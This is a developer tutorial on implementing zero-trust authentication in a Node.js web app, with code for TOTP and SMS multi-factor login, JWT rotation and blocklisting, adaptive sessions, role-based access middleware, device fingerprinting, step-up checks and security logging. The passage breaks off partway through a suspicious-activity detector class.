Zero-Trust Authentication fixes this. Instead of trusting people once they log in, it checks every person, every device, and every request, every single time. The rule is simple: "Trust no one, verify everything."

This isn't just theory – it works. Companies using zero-trust security have smaller breaches, meet compliance rules easier, and control who sees what data. This matters because 95% of data breaches happen due to human mistakes, and the average breach now costs $4.88 million.

In this article, you will learn how to build a complete Zero-Trust Authentication system into your web app step by step. From multi-factor authentication (MFA) to behavioral anomaly detection, we will discuss the architecture decisions, code examples, and some real-world approaches you are likely able to implement right away.

Table of Contents

• Prerequisites

• What Is Zero-Trust Authentication?

• Architecture Overview

• Multi-factor Authentication (MFA)

• JWT Token Management

• Session Security

• Role-Based Access Control (RBAC)

  • Using Middleware to Enforce RBAC

  • Testing Access Control Logic

• Continuous Verification

  • Behavioral Analysis

  • Step-Up Authentication

• Security Monitoring

  • Automating Threat Response

• Conclusion

Prerequisites

Before implementing zero-trust, make sure your stack aligns with frequent calls for token checks, volumes of logging, and the additional auth step, all without impairing system performance on the users' end.

You should at least have knowledge of:

• JWT and secure session handling

• MFA, specifically understanding TOTP

• Basic understanding of middleware design

Audit your system: examine login flows, token handling, protected routes, session termination, and identify weak spots like long sessions or unprotected routes.

What Is Zero-Trust Authentication?

Zero-Trust Authentication (ZTA) redefines how access is granted in contemporary applications. It doesn't take network location or a single login event into account – it demands the continuous validation of an identity, context, and intent.

Whereas perimeter-based models consider anyone inside a network "safe," zero-trust presumes every request can be compromised. This means that access decisions are made in real time over verified identity, device posture, and behavioral signals. In short, it’s a "security-first" approach designed for a cloud-native, threat-aware world.

Architecture Overview

Building a ZTA system means checking everyone and everything, all the time. The architecture you can see below demonstrates this "never trust, always verify" approach in action:

Image source: civilsdaily

Here's how it works:

• Every request gets checked: When anyone tries to access your network (from office, home, or mobile), they hit the authentication layer first. No exceptions.

• Identity + context verification: The system doesn't just check passwords. It looks at who you are, what device you're using, where you're connecting from, and what you're trying to access.

• Continuous protection: Once inside, the system keeps watching. It protects your data, devices, networks, people, and workloads through constant monitoring and access controls.

• The big change: Traditional security created a "trusted inside" and "untrusted outside." Zero-trust eliminates this boundary. Whether you're connecting to cloud services (AWS, Office 365) or internal systems, every request goes through the same verification process.

Multi-factor Authentication (MFA)

MFA is the foundation of zero-trust security. It requires users to prove who they are with multiple pieces of evidence before getting access. In ZTA, even the strongest password isn't enough on its own.

To begin, start with a strong password, then add a second factor. For example, Time-based One-Time Password (TOTP) is the most secure. TOTP is the best second factor because it works offline and doesn't rely on SMS or email (which can be intercepted). Apps like Google Authenticator generate a new code every 30 seconds.

Here’s an example of what that would look like:

const speakeasy = require('speakeasy');
const QRCode = require('qrcode');

// Generate TOTP secret for new user
function generateTOTPSecret(userEmail) {
  const secret = speakeasy.generateSecret({
    name: userEmail,
    issuer: 'YourApp',
    length: 32
  });

  return {
    secret: secret.base32,
    qrCodeUrl: secret.otpauth_url
  };
}

When a new user signs up, this function creates a unique secret key just for them. The name is their email, issuer is your app name, and length: 32 makes it extra secure. It returns two things: the secret key (in base32 format) and a special URL that creates a QR code for easy setup.

To verify the code from their app, you check it against the stored secret:

// Verify TOTP token
function verifyTOTP(token, secret) {
  return speakeasy.totp.verify({
    secret: secret,
    token: token,
    window: 2,
    encoding: 'base32'
  });
}

When the user enters their 6-digit code, this function checks if it's correct. The window: 2 is smart – it allows for timing differences (like if their phone clock is slightly off). It returns true if the code is valid, false if not.

SMS verification can serve as a backup option. It’s less secure than TOTP but can work as a backup. Always limit how many SMS codes someone can request to prevent abuse:

// SMS verification with rate limiting
async function sendSMSVerification(phoneNumber, userId) {
  const attempts = await getRecentSMSAttempts(userId);
  if (attempts >= 3) {
    throw new Error('Too many SMS attempts. Please try again later.');
  }

  const code = generateRandomCode(6);
  await storeSMSCode(userId, code, 300); // 5-minute expiry

  await smsProvider.send(phoneNumber, `Your verification code: ${code}`);
}

Before sending an SMS, it checks how many times this user has already requested codes. If they've tried 3 times, it blocks them (prevents spam/abuse). If they're under the limit, it creates a random 6-digit code, saves it for 5 minutes (300 seconds), then sends it via SMS.

But what happens if a user loses their phone or authenticator app? Backup codes provide emergency access:

// Generate backup codes
function generateBackupCodes(userId) {
  const codes = [];
  for (let i = 0; i < 10; i++) {
    codes.push(generateRandomCode(8));
  }

  const hashedCodes = codes.map(code => hashCode(code));
  storeBackupCodes(userId, hashedCodes);

  return codes; // Only show to user once
}

This creates 10 emergency backup codes (each 8 characters long). The for loop runs 10 times, creating a new random code each time. Before storing them in the database, it "hashes" them (scrambles them for security). Then it returns the original codes to show the user once, but stores the scrambled versions so even if someone hacks your database, they can't see the real codes.

JWT Token Management

JSON Web Tokens (JWTs) are stateless authentication in a zero-trust system. Using them safely is critical because you need to carefully think through payload design, implement short expiration policies, and implement token rotation and blocklisting that could prevent token theft, token reuse, or privilege escalation.

Let's walk through how to securely implement and manage JWTs in your web application.

First, define a minimal and secure structure for your access tokens. Only add information that’s necessary for making authorization decisions, and never put anything sensitive even if it is encrypted.

// JWT payload structure
const tokenPayload = {
  sub: userId,           // Subject (user ID)
  email: userEmail,      // User identifier
  roles: userRoles,      // User roles array
  permissions: userPermissions, // Specific permissions
  iat: Math.floor(Date.now() / 1000), // Issued at
  exp: Math.floor(Date.now() / 1000) + 900, // Expires in 15 minutes
  jti: generateUniqueId(), // JWT ID for blocklisting
  aud: 'your-app',       // Audience
  iss: 'your-auth-service' // Issuer
};

In the code above, the payload consists of the user identity, roles, permissions, and metadata such as the issued time (iat), expiration (exp), and unique token ID (jti). While aud and iss describe the token's origin and audience for validation, jti is used for revocation. Thus, it keeps the payload as lean as possible to minimize exposure and overhead.

For security and usability, it’s better to use access tokens with a short lifespan and refresh tokens with a considerably longer duration, which minimizes the window for potential utilization of compromised tokens while providing a smooth user session.

Let's take this example:

// Token generation service
class TokenService {
  generateTokenPair(user) {
    const accessToken = jwt.sign(
      this.createAccessTokenPayload(user),
      process.env.JWT_SECRET,
      { expiresIn: '15m', algorithm: 'HS256' }
    );

    const refreshToken = jwt.sign(
      { sub: user.id, type: 'refresh' },
      process.env.REFRESH_SECRET,
      { expiresIn: '7d', algorithm: 'HS256' }
    );

    return { accessToken, refreshToken };
  }

  async refreshAccessToken(refreshToken) {
    try {
      const decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET);

      // Check if refresh token is blocklisted
      if (await this.isTokenBlocklisted(decoded.jti)) {
        throw new Error('Token has been revoked');
      }

      const user = await getUserById(decoded.sub);
      return this.generateTokenPair(user);
    } catch (error) {
      throw new Error('Invalid refresh token');
    }
  }
}

generateTokenPair will generate two signed JWTs – that is, an access token with a 15-minute expiration and a refresh token with a validity of 7 days. The refresh tokens are verified to grant new ones and are checked against a blocklist. This ensures that revoked tokens can’t be reused, even if they’re still technically valid.

If you choose, a sliding session can be implemented to reduce friction by renewing tokens for an active user without violating your expiration strategy.

Now, let's implement a sliding session that automatically refreshes JWTs when they're close to expiring and the user is still active.

// Sliding session implementation
async function extendSessionIfActive(token) {
  const decoded = jwt.decode(token);
  const timeUntilExpiry = decoded.exp - Math.floor(Date.now() / 1000);

  // If token expires within 5 minutes and user is active, refresh
  if (timeUntilExpiry < 300 && await isUserActive(decoded.sub)) {
    const user = await getUserById(decoded.sub);
    return this.generateTokenPair(user);
  }

  return null;
}

The above function checks for token expiration. If the token expires within 5 minutes and the user continues to interact, a new access token pair is issued. This way, the session is kept alive during real activity but still forces expiration for idle users.

// Token blocklist service
class TokenBlocklistService {
  async blocklistToken(token) {
    const decoded = jwt.decode(token);
    const expiresAt = new Date(decoded.exp * 1000);

    // Store in Redis with automatic expiry
    await redis.setex(
      `blocklist:${decoded.jti}`,
      Math.max(0, Math.floor((expiresAt - Date.now()) / 1000)),
      'revoked'
    );
  }

  async isTokenBlocklisted(jti) {
    const result = await redis.get(`blocklist:${jti}`);
    return result !== null;
  }
}

In the above code, when users log out or tokens are compromised, the jti is stored in Redis with an expiration time of the remaining life of the token. You can block future uses of a token by checking if its ID exists on the blocklist. This allows for instant invalidation, even though JWTs are stateless.

Session Security

In zero-trust environments, session management goes far beyond keeping users logged in. A session must be treated as a constantly evaluated contract between the user, their device, and the system – and should be revoked the moment trust breaks down.

Here, we’ll build a session system that incorporates adaptive trust scoring, dynamic timeouts, real-time visibility, and revocation mechanisms – all aligned with zero-trust principles.

For example, when a user successfully authenticates, you don’t just store a session ID. Instead, you collect contextual metadata to evaluate ongoing risk. The function below demonstrates how to initialize a session that’s both secure and context-aware.

// Comprehensive session creation
async function createSecureSession(userId, deviceInfo, clientInfo) {
  const sessionId = generateSecureSessionId();

  const session = {
    id: sessionId,
    userId: userId,
    deviceFingerprint: generateDeviceFingerprint(deviceInfo),
    ipAddress: clientInfo.ipAddress,
    userAgent: clientInfo.userAgent,
    location: await resolveLocation(clientInfo.ipAddress),
    createdAt: new Date(),
    lastActivity: new Date(),
    trustScore: calculateInitialTrustScore(deviceInfo, clientInfo),
    securityLevel: determineSecurityLevel(userId, deviceInfo)
  };

  await storeSession(session);
  return session;
}

Many other tools are tracking concerning details during session creation. The device fingerprint, IP address, geolocation, and browser agent data are collected. These metadata are used to compute a trust score, and finally, a security level is assigned to the session to be used for dynamically adjusting policies later.

With this contextual information captured during session creation, the system can spot suspicious behavior during the sessions and, in turn, adapt policies like re-authentication of users or termination of the session.

Not all sessions should be treated equally. If a user logs in via an unfamiliar device or risky location, they should have less time for their session lifespan compared to a trusted setup's time. The following implementation changes timeout periods on the basis of trust and risk factors:

// Adaptive session timeout
class SessionTimeoutManager {
  calculateTimeoutPeriod(session) {
    const baseTimeout = 30 * 60 * 1000; // 30 minutes
    const trustMultiplier = session.trustScore / 100;
    const securityMultiplier = this.getSecurityMultiplier(session.securityLevel);

    return Math.max(
      5 * 60 * 1000, // Minimum 5 minutes
      baseTimeout * trustMultiplier * securityMultiplier
    );
  }

  async checkSessionValidity(sessionId) {
    const session = await getSession(sessionId);
    if (!session) return false;

    const now = Date.now();
    const timeout = this.calculateTimeoutPeriod(session);

    // Check both idle timeout and absolute timeout
    const idleExpired = (now - session.lastActivity) > timeout;
    const absoluteExpired = (now - session.createdAt) > 8 * 60 * 60 * 1000; // 8 hours max

    return !idleExpired && !absoluteExpired;
  }
}

The above code keeps session duration adaptable to the risk context at hand. The timeout is calculated by adjusting the base value according to trust and security level, while imposing minimum and maximum bounds.

The system then periodically intervenes to see if the session has become invalid due to inactivity (idle timeout) or simply outlives its initial duration (absolute timeout). This provides a more flexible yet enforceable way of mitigating the risk behind stale or hijacked sessions.

Zero-trust should also mean visibility across all access points. The user should be able to view all active sessions associated with their account, and security systems should also allow them to control these sessions in fine-grained detail. The following code lets you manage those active sessions across devices.

// Cross-device session management
class SessionManager {
  async getUserSessions(userId) {
    const sessions = await getActiveSessionsForUser(userId);

    return sessions.map(session => ({
      id: session.id,
      deviceType: this.identifyDeviceType(session.userAgent),
      location: session.location,
      lastActivity: session.lastActivity,
      current: session.id === currentSessionId
    }));
  }

  async revokeSession(sessionId, requestingSessionId) {
    const session = await getSession(sessionId);
    if (!session) throw new Error('Session not found');

    // Verify requesting session has permission
    const requestingSession = await getSession(requestingSessionId);
    if (requestingSession.userId !== session.userId) {
      throw new Error('Unauthorized');
    }

    await this.terminateSession(sessionId);
    await this.logSecurityEvent('session_revoked', session);
  }
}

Here, users fetch a list of their active sessions along with identifying information such as device type and location. Any session can be securely revoked by the user who owns it, preventing unauthorized access if the session ID is compromised.

This also allows the user to detect suspicious activities in time. All revocations are logged for auditing purposes to enable post-incident investigations as well as compliance reports.

When a trust breaks due to credential theft, suspicious activity, or user-level actions such as password reset, all sessions have to be immediately revoked. This example guarantees a full revocation, promptly applied to all devices:

// Real-time session revocation
class SessionRevocationService {
  async revokeAllUserSessions(userId, reason) {
    const sessions = await getActiveSessionsForUser(userId);

    // Blocklist all tokens for this user
    await Promise.all(sessions.map(session => 
      this.blocklistSessionTokens(session.id)
    ));

    // Notify all active clients
    await Promise.all(sessions.map(session => 
      this.notifySessionTermination(session.id, reason)
    ));

    // Clear session data
    await clearUserSessions(userId);

    // Log security event
    await this.logSecurityEvent('all_sessions_revoked', {
      userId,
      reason,
      sessionCount: sessions.length
    });
  }
}

The above code permits full-scale revocation. It blocklists all session tokens, sends out termination notices to active clients (for example, through WebSockets), clears the session records on the server-side, and logs the event for auditing. It is an instantaneous and complete response to compromised accounts or states where user risk is very high. It is the foremost component of real-time zero-trust enforcement in any serious authentication system.

Role-Based Access Control (RBAC)

Identity verification determines what users can access once they’re logged in. As the basis for any system that is aware of permissions and follows least privilege, RBAC doesn’t grant access on an individual basis – it groups users into roles that define the operations they are permitted to perform.

Before assigning roles to users, you need a structured system to define what each role can do. A set of granular permissions is first identified and then aggregated under these roles, optionally allowing inheritance and hierarchy. The code below shows how to build a basic permission system:

// RBAC permission system
class PermissionSystem {
  constructor() {
    this.permissions = new Map();
    this.roles = new Map();
    this.roleHierarchy = new Map();
  }

  // Define granular permissions
  definePermission(name, description, resource, action) {
    this.permissions.set(name, {
      name,
      description,
      resource,
      action,
      createdAt: new Date()
    });
  }

  // Create role with inherited permissions
  createRole(name, description, parentRole = null) {
    const role = {
      name,
      description,
      permissions: new Set(),
      createdAt: new Date()
    };

    // Inherit permissions from parent role
    if (parentRole && this.roles.has(parentRole)) {
      const parent = this.roles.get(parentRole);
      role.permissions = new Set(parent.permissions);
      this.roleHierarchy.set(name, parentRole);
    }

    this.roles.set(name, role);
    return role;
  }

  // Add permission to role
  addPermissionToRole(roleName, permissionName) {
    const role = this.roles.get(roleName);
    if (!role) throw new Error('Role not found');

    if (!this.permissions.has(permissionName)) {
      throw new Error('Permission not found');
    }

    role.permissions.add(permissionName);
  }
}

The code above lets you specify fine-grained permissions like documents.read.own and organizes them into roles such as employee or manager that you can independently reuse. You can define roles to inherit from other roles, which avoids redundancy and promotes a consistent, scalable access control logic.

As a general rule to avoid privilege creep, permissions should always be as fine-grained as possible. This lets the application refine access decisions to specific actions or scopes: for example, allowing users to read only their documents versus reading all documents for their team.

// Fine-grained permission definitions
const permissions = {
  // User management
  'users.read': { resource: 'users', action: 'read' },
  'users.create': { resource: 'users', action: 'create' },
  'users.update': { resource: 'users', action: 'update' },
  'users.delete': { resource: 'users', action: 'delete' },

  // Document management
  'documents.read.own': { resource: 'documents', action: 'read', scope: 'own' },
  'documents.read.team': { resource: 'documents', action: 'read', scope: 'team' },
  'documents.read.all': { resource: 'documents', action: 'read', scope: 'all' },
  'documents.create': { resource: 'documents', action: 'create' },
  'documents.update.own': { resource: 'documents', action: 'update', scope: 'own' },
  'documents.delete.own': { resource: 'documents', action: 'delete', scope: 'own' },

  // System administration
  'system.logs.read': { resource: 'system', action: 'read', subresource: 'logs' },
  'system.config.update': { resource: 'system', action: 'update', subresource: 'config' }
};

With an array of permissions at its disposal, the app can undertake very precise access control decisions. Instead of merely addressing the binary "is admin" question, this capability enables the system to answer questions such as "can this user delete their own document but not others?"

Static roles are often insufficient. You may want to give people temporary or conditional access, for example, when the team lead takes over for a manager or when a user approves a higher access level for the sake of incident response.

To support these cases, the RBAC system must allow dynamic role assignment – that is, the ability to assign roles on the basis of time, context, or an external trigger such as a security workflow.

The code below assigns a temporary role to a user, notes the exact time at which the role was assigned to the user, and periodically revokes the right after some fixed amount of time. Also, it has a method to calculate a user's complete set of active rights, depending on their permanent rights, temporary rights, and role-based contextual rights.

// Dynamic role assignment system
class DynamicRoleAssignment {
  async assignTemporaryRole(userId, roleName, duration, reason) {
    const assignment = {
      userId,
      roleName,
      assignedAt: new Date(),
      expiresAt: new Date(Date.now() + duration * 1000),
      reason,
      active: true
    };

    await this.storeRoleAssignment(assignment);
    await this.logRoleAssignment(assignment);

    // Schedule automatic revocation
    setTimeout(() => {
      this.revokeExpiredAssignment(assignment.id);
    }, duration * 1000);

    return assignment;
  }

  async getUserEffectivePermissions(userId, context = {}) {
    const user = await getUserById(userId);
    const permanentRoles = user.roles || [];
    const temporaryRoles = await this.getActiveTemporaryRoles(userId);
    const contextualRoles = await this.getContextualRoles(userId, context);

    const allRoles = [...permanentRoles, ...temporaryRoles, ...contextualRoles];
    const permissions = new Set();

    for (const roleName of allRoles) {
      const rolePermissions = await this.getRolePermissions(roleName);
      rolePermissions.forEach(permission => permissions.add(permission));
    }

    return Array.from(permissions);
  }
}

This allows for more flexible security configurations. Temporary roles that are granted have an automatic expiration. The context roles may be added dynamically depending on contextual factors such as location or type of device. Permanent roles are combined with temporary and context roles to compute the aggregate permission set for the user on a per-request basis, which maintains flexibility without compromising control.

Using Middleware to Enforce RBAC

The RBAC policies have to be enforced before any request reaches a protected route or protected data. Middleware is a good place to run such checks in the scope of a web application. We’ll now look into how the reusable middleware function for authorization works.

// Authorization middleware
function createAuthorizationMiddleware(requiredPermission) {
  return async (req, res, next) => {
    try {
      // Extract user from validated JWT
      const user = req.user;
      if (!user) {
        return res.status(401).json({ error: 'Authentication required' });
      }

      // Get user's effective permissions
      const context = {
        ipAddress: req.ip,
        userAgent: req.get('User-Agent'),
        resourceId: req.params.id,
        timestamp: new Date()
      };

      const permissions = await roleSystem.getUserEffectivePermissions(
        user.id,
        context
      );

      // Check if user has required permission
      if (!permissions.includes(requiredPermission)) {
        await logUnauthorizedAccess(user.id, requiredPermission, context);
        return res.status(403).json({ error: 'Insufficient permissions' });
      }

      // Add permissions to request for downstream use
      req.userPermissions = permissions;
      next();
    } catch (error) {
      res.status(500).json({ error: 'Authorization check failed' });
    }
  };
}

// Usage in routes
app.get('/api/users', 
  authenticateToken,
  createAuthorizationMiddleware('users.read'),
  getUsersController
);

In the code above, the middleware will validate user identities in real-time, check if adequate permissions are granted, and allow or deny access accordingly. It’s a central mechanism for enforcing access rules in a uniform way across your routes, and it even records unauthorized attempts for auditing.

Testing Access Control Logic

Once you’ve implemented the RBAC system, testing becomes a must. You want to guarantee that permissions are inherited properly, that access is actually denied when a user isn’t authorized, and that your roles behave as designed in the real world as well as in edge-case scenarios.

The following example uses a testing framework to demonstrate the verification of two fundamental behaviors: inheritance of permissions from parent roles and rejection of unauthorized access.

// RBAC testing suite
describe('RBAC System', () => {
  test('should inherit permissions from parent roles', async () => {
    const manager = await roleSystem.createRole('manager', 'Team Manager', 'employee');
    await roleSystem.addPermissionToRole('manager', 'team.manage');

    const permissions = await roleSystem.getRolePermissions('manager');
    expect(permissions).toContain('documents.read.own'); // From employee
    expect(permissions).toContain('team.manage'); // Manager-specific
  });

  test('should deny access without proper permissions', async () => {
    const user = { id: 1, roles: ['employee'] };
    const req = { user, params: { id: 'doc123' } };
    const res = { status: jest.fn().mockReturnThis(), json: jest.fn() };

    const middleware = createAuthorizationMiddleware('documents.delete.all');
    await middleware(req, res, () => {}); // Middleware call simulating request

    expect(res.status).toHaveBeenCalledWith(403);
  });
});

The tests represent the positive and negative validations of the access rules. The first test determines whether inherited permissions flow freely from the parent to child roles. The second test blocks any user without the required permission, returning a status code appropriately.

Over time, you can enrich test coverage to include temporary role assignments, contextual conditions, and session-aware behavior to alert you to any regressions before they start affecting production access.

Continuous Verification

Modern access security is not a one-shot check but an ongoing process. A strong system must continuously verify user identity and context throughout the ongoing session while adapting to newly emerging risk signals.

In continuous verification, it’s an assurance that access stays appropriate while the user behavior, device posture, or environment changes mid-session.

To uniquely identify a device, you can combine subtle traits like browser settings, hardware specs, and plugin data. This forms a device “fingerprint,” which helps flag new or suspicious devices attempting access.

// Advanced device fingerprinting
class DeviceFingerprintService {
  generateFingerprint(deviceInfo) {
    const components = [
      deviceInfo.userAgent,
      deviceInfo.screenResolution,
      deviceInfo.timezone,
      deviceInfo.language,
      deviceInfo.platform,
      deviceInfo.hardwareConcurrency,
      deviceInfo.memorySize,
      deviceInfo.availableFonts?.join(','),
      deviceInfo.plugins?.map(p => p.name).join(','),
      deviceInfo.webglRenderer,
      deviceInfo.audioContext
    ];

    return this.hashComponents(components);
  }

  calculateTrustScore(currentFingerprint, knownFingerprints) {
    if (knownFingerprints.length === 0) return 50; // Neutral for new device
    const similarities = knownFingerprints.map(known =>
      this.calculateSimilarity(currentFingerprint, known)
    );
    return Math.min(100, Math.max(...similarities) * 100);
  }

  async updateDeviceTrust(userId, deviceFingerprint, securityEvents) {
    const device = await this.getOrCreateDevice(userId, deviceFingerprint);
    let trustAdjustment = 0;

    securityEvents.forEach(event => {
      switch (event.type) {
        case 'successful_login': trustAdjustment += 5; break;
        case 'failed_login': trustAdjustment -= 10; break;
        case 'suspicious_activity': trustAdjustment -= 25; break;
      }
    });

    device.trustScore = Math.max(0, Math.min(100, device.trustScore + trustAdjustment));
    await this.updateDevice(device);
    return device.trustScore;
  }
}

Generating a fingerprint hash from device traits, this service uses historical events to dynamically adjust the device's trust score. Step-up authentication may be prompted by low scores, or access may be denied altogether.

Behavioral Analysis

People tend to use apps rather consistently – they type a certain way, move the mouse in a particular manner, or browse varied content. Behavioral analysis tries to detect that anomaly by comparing ongoing activities to known ones.

// Behavioral analysis system
class BehaviorAnalysisService {
  async analyzeUserBehavior(userId, currentSession) {
    const historicalBehavior = await this.getUserBehaviorProfile(userId);
    const anomalies = [];

    const typingAnomaly = this.analyzeTypingPatterns(
      currentSession.typingData,
      historicalBehavior.typingProfile
    );
    if (typingAnomaly.score > 0.7) {
      anomalies.push({ type: 'typing_pattern', score: typingAnomaly.score, details: typingAnomaly.details });
    }

    const navigationAnomaly = this.analyzeNavigationPatterns(
      currentSession.navigationData,
      historicalBehavior.navigationProfile
    );
    if (navigationAnomaly.score > 0.6) {
      anomalies.push({ type: 'navigation_pattern', score: navigationAnomaly.score, details: navigationAnomaly.details });
    }

    const timeAnomaly = this.analyzeTimePatterns(
      currentSession.timestamp,
      historicalBehavior.timeProfile
    );
    if (timeAnomaly.score > 0.5) {
      anomalies.push({ type: 'time_pattern', score: timeAnomaly.score, details: timeAnomaly.details });
    }

    return {
      overallRiskScore: this.calculateOverallRisk(anomalies),
      anomalies,
      recommendations: this.generateRecommendations(anomalies)
    };
  }

  analyzeTypingPatterns(currentData, historicalProfile) {
    if (!currentData || !historicalProfile) return { score: 0 };
    const dwellTimeVariance = this.calculateVariance(currentData.dwellTimes, historicalProfile.averageDwellTime);
    const flightTimeVariance = this.calculateVariance(currentData.flightTimes, historicalProfile.averageFlightTime);
    const score = Math.max(dwellTimeVariance, flightTimeVariance);
    return { score, details: { dwellTimeVariance, flightTimeVariance, sampleSize: currentData.keystrokes.length } };
  }
}

This will detect suspicious changes in user behavior and typing characteristics as early warning indicators of session hijacking or insider threat.

Access from a new country or city can either be harmless or highly suspicious. Comparing login geography against historical patterns helps flag impossible travel or access from banned regions.

// Location-based access control
class LocationAccessControl {
  async validateLocationAccess(userId, ipAddress, session) {
    const location = await this.resolveLocation(ipAddress);
    const user = await getUserById(userId);
    const historicalLocations = await this.getUserLocations(userId);
    const locationRisk = this.assessLocationRisk(location, historicalLocations);

    const lastLocation = await this.getLastKnownLocation(userId);
    if (lastLocation) {
      const impossibleTravel = this.checkImpossibleTravel(lastLocation, location, session.lastActivity);
      if (impossibleTravel.detected) {
        await this.logSecurityEvent('impossible_travel', {
          userId, fromLocation: lastLocation, toLocation: location,
          timeWindow: impossibleTravel.timeWindow,
          minimumTravelTime: impossibleTravel.minimumTravelTime
        });
        return { allowed: false, reason: 'impossible_travel', requiresStepUp: true };
      }
    }

    if (user.allowedCountries && !user.allowedCountries.includes(location.country)) {
      return { allowed: false, reason: 'country_restriction', requiresStepUp: true };
    }

    const highRiskCountries = ['XX', 'YY', 'ZZ'];
    if (highRiskCountries.includes(location.country)) {
      return { allowed: true, reason: 'high_risk_location', requiresStepUp: true, additionalVerification: ['sms', 'email'] };
    }

    return { allowed: true, riskScore: locationRisk, location };
  }

  checkImpossibleTravel(fromLocation, toLocation, lastActivity) {
    const distance = this.calculateDistance(fromLocation, toLocation);
    const timeElapsed = Date.now() - lastActivity;
    const maximumSpeed = 900; // km/h
    const minimumTravelTime = (distance / maximumSpeed) * 3600000;
    return { detected: timeElapsed < minimumTravelTime, timeWindow: timeElapsed, minimumTravelTime, distance };
  }
}

This logic prevents abuse via VPNs or stolen credentials by requiring step-up verification when impossible travel or unusual locations are detected.

Step-Up Authentication

Step-up security introduces friction only when truly needed. With lower risk considered, users move freely. When risk levels rises, they're asked for stronger proofs, such as biometrics or hardware tokens.

// Step-up authentication system
class StepUpAuthenticationService {
  async evaluateStepUpRequirement(userId, requestContext, resourceSensitivity) {
    const riskFactors = await this.calculateRiskFactors(userId, requestContext);
    const stepUpRequired = this.shouldRequireStepUp(riskFactors, resourceSensitivity);

    if (stepUpRequired.required) {
      return {
        required: true,
        methods: this.selectAuthenticationMethods(riskFactors, stepUpRequired.level),
        expiresIn: this.calculateStepUpDuration(stepUpRequired.level),
        reason: stepUpRequired.reason
      };
    }

    return { required: false };
  }

  async calculateRiskFactors(userId, context) {
    return {
      deviceTrust: await this.getDeviceTrustScore(userId, context.deviceFingerprint),
      locationRisk: await this.getLocationRiskScore(userId, context.ipAddress),
      behaviorAnomaly: await this.getBehaviorAnomalyScore(userId, context.sessionData),
      timeSinceLastAuth: Date.now() - context.lastAuthTime,
      resourceSensitivity: context.resourceSensitivity || 'medium'
    };
  }

  shouldRequireStepUp(riskFactors, sensitivity) {
    let score = 0;
    if (riskFactors.deviceTrust < 70) score += 30;
    if (riskFactors.deviceTrust < 40) score += 20;
    if (riskFactors.locationRisk > 0.6) score += 25;
    if (riskFactors.locationRisk > 0.8) score += 15;
    if (riskFactors.behaviorAnomaly > 0.5) score += 20;
    if (riskFactors.behaviorAnomaly > 0.7) score += 10;
    const hours = riskFactors.timeSinceLastAuth / (1000 * 60 * 60);
    if (hours > 8) score += 10;
    if (hours > 24) score += 15;

    score *= { low: 0.7, medium: 1.0, high: 1.3, critical: 1.6 }[sensitivity] || 1.0;

    if (score >= 80) return { required: true, level: 'high', reason: 'high_risk_detected' };
    if (score >= 50) return { required: true, level: 'medium', reason: 'moderate_risk_detected' };
    if (score >= 25) return { required: true, level: 'low', reason: 'low_risk_detected' };
    return { required: false };
  }

  selectAuthenticationMethods(riskFactors, level) {
    const methods = [];
    if (level === 'high') {
      methods.push('hardware_token', 'biometric');
      if (riskFactors.deviceTrust < 30) methods.push('admin_approval');
    } else if (level === 'medium') {
      methods.push('totp', 'sms');
      if (riskFactors.locationRisk > 0.7) methods.push('email_verification');
    } else if (level === 'low') {
      methods.push('totp');
    }
    return methods;
  }
}

The service uses this balancing technique between critical resources and risks while keeping normal workflows intact when things look safe.

Security Monitoring

Security monitoring provides the observability layer that’s essential for detecting, analyzing, and responding to threats in real time. A strong system must log every authentication event, highlight anomalies, and allow for rapid and automated response to threats. This phase further builds trust by constantly evaluating access patterns and acting on them when signals of risk emerge.

Logging is visibility at its base. These days, every authentication attempt, be it successful, failed, or suspicious, needs to be logged with exhaustive context. This very information helps forensic analysis, alerting, and compliance reporting.

// Comprehensive authentication event logging
class AuthenticationLogger {
  async logAuthenticationEvent(eventType, userId, context, result) {
    const logEntry = {
      timestamp: new Date().toISOString(),
      eventType,
      userId,
      sessionId: context.sessionId,
      ipAddress: context.ipAddress,
      userAgent: context.userAgent,
      deviceFingerprint: context.deviceFingerprint,
      location: context.location,
      authenticationMethod: context.authMethod,
      result: result.success ? 'success' : 'failure',
      failureReason: result.failureReason,
      riskScore: result.riskScore,
      additionalFactorsRequired: result.stepUpRequired,
      processingTime: result.processingTime,
      correlationId: context.correlationId
    };

    // Store in multiple destinations for redundancy
    await Promise.all([
      this.writeToDatabase(logEntry),
      this.sendToLogAggregator(logEntry),
      this.updateRealTimeMetrics(logEntry)
    ]);

    // Trigger real-time alerts for critical events
    if (this.isCriticalEvent(logEntry)) {
      await this.triggerSecurityAlert(logEntry);
    }
  }

  isCriticalEvent(logEntry) {
    const criticalConditions = [
      logEntry.result === 'failure' && logEntry.failureReason === 'brute_force_detected',
      logEntry.riskScore > 80,
      logEntry.eventType === 'impossible_travel_detected',
      logEntry.eventType === 'account_takeover_suspected'
    ];

    return criticalConditions.some(condition => condition);
  }

  async generateSecurityReport(userId, timeRange) {
    const events = await this.getAuthenticationEvents(userId, timeRange);

    const analysis = {
      totalEvents: events.length,
      successfulLogins: events.filter(e => e.result === 'success').length,
      failedAttempts: events.filter(e => e.result === 'failure').length,
      uniqueDevices: new Set(events.map(e => e.deviceFingerprint)).size,
      uniqueLocations: new Set(events.map(e => e.location?.country)).size,
      averageRiskScore: events.reduce((sum, e) => sum + e.riskScore, 0) / events.length,
      timePatterns: this.analyzeTimePatterns(events),
      locationPatterns: this.analyzeLocationPatterns(events),
      devicePatterns: this.analyzeDevicePatterns(events)
    };

    return analysis;
  }
}

In the above code, the class logs detailed authentication events such as the approximate device and location from which it was initiated, the authentication methods used, and the risk score.

From a security perspective, it’s envisaged to generate security reports with the advantage of flagging critical events such as brute-force attempts or logins from suspicious geographies that can send real-time alerts.

Monitoring authentication events isn’t enough – the system must be able to interpret patterns and flag suspicious behavior. This detection system combines static rule-based checks with dynamic anomaly detection powered by machine learning. It identifies threats like brute-force attacks, credential stuffing, and unusual geographic access, then escalates them automatically for further action.

The following code performs real-time threat detection by analyzing recent authentication events and contextual data. Here's what it does, broken down clearly:

// Suspicious activity detection system
class SuspiciousActivityDetector {
  constructor() {
    this.detectionRules = this.initializeDetectionRules();
    this.mlModel = this.loadAnomalyDetectionModel();
  }

  async analyzeActivity(userId, recentEvents, context) {
    const suspiciousPatterns = [];

    // Rule-based detection
    const ruleViolations = await this.checkDetectionRules(userId, recentEvents);
    suspiciousPatterns.push(...ruleViolations);

    // ML-based anomaly detection
    const anomalies = await this.detectAnomalies(userId, recentEvents, context);
    suspiciousPatterns.push(...anomalies);

    // Threat intelligence correlation
    const threatMatches = await this.correlateThreatIntelligence(context);
    suspiciousPatterns.push(...threatMatches);

